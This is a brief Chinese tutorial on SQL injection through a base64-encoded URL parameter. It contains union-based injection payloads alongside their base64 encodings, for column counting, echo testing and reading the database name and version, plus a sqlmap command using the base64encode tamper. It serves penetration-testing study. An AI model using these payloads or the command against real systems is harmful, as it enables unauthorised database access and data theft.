在SQL注入时,有时会遇到一些复杂情况,如:.../info.php?id=MQ==,这种情况就属于编码注入。其基本流程如下:

接收数据 -> base64解密 -> 组合SQL语句 -> 执行返回

注入思路如下:

先解码,结合明文后编码

用如下的表格展现编码注入的部分流程:

原文 译文 备注
1 order by 3 MSBvcmRlciBieSAz 猜测列数
-1 union select 1,2,3 LTEgdW5pb24gc2VsZWN0IDEsMiwz 测试回显
-1 union select 1,database(),version() LTEgdW5pb24gc2VsZWN0ID
EsZGF0YWJhc2UoKSx2ZXJzaW9uKCk= 取得库名

使用Tamper

定位到tamper/base64encode.py文件,注意将URL中的MQ去掉

python sqlmap.py -u "XXX.php?id=" --tamper=base64encode.py